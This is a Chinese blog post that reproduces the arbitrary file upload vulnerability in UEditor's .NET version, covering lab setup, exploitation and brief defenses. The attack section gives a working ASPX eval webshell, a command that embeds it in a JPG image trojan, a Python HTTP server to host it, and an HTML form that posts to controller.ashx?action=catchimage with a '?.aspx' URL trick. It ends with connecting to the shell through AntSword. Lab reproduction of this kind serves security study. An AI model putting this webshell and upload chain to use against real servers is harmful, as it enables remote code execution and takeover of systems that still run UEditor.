Ueditor编辑器任意文件上传漏洞

一、漏洞描述

UEditor是一款所见即所得的开源富文本编辑器,具有轻量、可定制、用户体验优秀等特点,被广大WEB应用程序所使用。本次爆出的高危漏洞属于.NET版本,其它的版本暂时不受影响。漏洞成因是在抓取远程数据源的时候未对文件后缀名做验证导致任意文件写入漏洞,黑客利用此漏洞可以在服务器上执行任意指令,综合评级高危。

二、影响范围

该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。

三、漏洞原理

漏洞的成因是在获取图片资源时仅检查了Content-Type,导致可以绕过达到任意文件上传。具体的漏洞分析可参考:https://www.freebuf.com/vuls/181814.html

四、漏洞复现

1、环境部署

准备一台Windows Server服务器,我用的是Windows 2008 Server。

没有安装.NET Framework 4.0的要先安装:http://www.microsoft.com/zh-cn/download/details.aspx?id=17718

安装完 .NET Framework 4.0 后,还需要向 IIS 注册应用程序池,注册的方法是,使用管理员权限打开命令提示符(CMD),输入以下命令:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis -i

安装完毕后,在 IIS 管理器刷新就能看到 4.0 的应用程序池。

img

https://github.com/fex-team/ueditor/releases/tag/v1.4.3.3 下载utf8的.net版本

img

右键 网站–添加网站,选择下载的Ueditor目录, 选择版本为 4.0 的应用程序池;点击连接为,设置特定用户,该特定用户为主机上存在的用户例如administrator

img

img

此时访问127.0.0.1:8080已经有Ueditor的界面了

img

代码要求以应用程序的形式来运行(可以方便加入库依赖和组织代码)。所以需要把 net 目录转换为应用程序;点击连接为,设置特定用户,该特定用户为主机上存在的用户例如administrator

img

img

访问net/controller.ashx 控制器文件,出现以下界面说明编辑器应用程序运行成功,且漏洞存在,到此配置完毕。

img

如果配置过程中访问页面显示权限不够的报错,那么右键部署项目的文件夹,选择属性,选择安全,增加Everyone用户,将该用户的权限设置为完全控制,点击确定,重新部署即可。

img

2、攻击流程

访问http://ip:port/net/controller.ashx 控制器文件。当出现下图的时候表示漏洞存在

img

准备一个aspx一句话木马

<% @Page Language="Jscript"%><%eval(Request.Item["w01ke"],"unsafe");%>

制作图片马

copy w01ke.jpg /b + shell.aspx /a ueditor.jpg

img

准备一台服务器存放图片马或者需要上传的文件,将做好的ueditor.jpg图片马上传到我们的服务器,并开启下载服务(HTTP)

python -m SimpleHTTPServer 8080

img

制作一个HTML。因为不是上传漏洞所以enctype 不需要指定为multipart/form-data。

<form action="http://xxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">
  <p>shell addr: <input type="text" name="source[]" /></p >
  <input type="submit" value="Submit" />
</form>

其中http://xx.com 为需要测试的网站地址,action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现路径找不到的错误

打开我们做好的HTML,shell addr 处填写服务器上图片马地址,构造成以下格式,绕过上传使其解析为 aspx

http://xxxx/ueditor.jpg?.aspx

img

点击submit,直接显示无效URL

img

经过排查,发现不能用Python开启web的方式,貌似只能用域名的形式(我不确定),我只好把我的图片马上传至云服务器,然后修改访问域名即可成功,同时回显了木马路径

img

使用蚁剑连接:

img

五、防御措施

  1. 修改CrawlerHandler.cs 增加对文件扩展名的;
  2. IPS等防御产品可以加入相应的特征

  • 3
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
UEditor编辑器存在一个高危漏洞,即在抓取远程数据源时未对文件后缀名做验证,导致任意文件写入漏洞。黑客可以利用这个漏洞,在服务器上执行任意指令。这个漏洞只影响.NET版本的UEditor,其他版本暂时不受影响。 为了利用这个漏洞,黑客可以在UEditor编辑器中的shell地址处填写服务器上的图片马地址,构造成特定格式。例如,在URL中将图片马地址后缀更改为.aspx,绕过上传使其解析为aspx文件,从而达到任意文件上传的目的。 为了防止这个漏洞被利用,建议开发者及时更新UEditor编辑器的最新版本,并确保在抓取远程数据源时对文件后缀名进行验证。此外,也可以限制用户上传的文件类型和大小,加强服务器安全配置,以减少潜在的风险。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Ueditor编辑器任意文件上传漏洞](https://blog.csdn.net/m0_51468027/article/details/126077427)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [Django集成百度富文本编辑器uEditor攻略](https://download.csdn.net/download/weixin_38613154/14865210)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值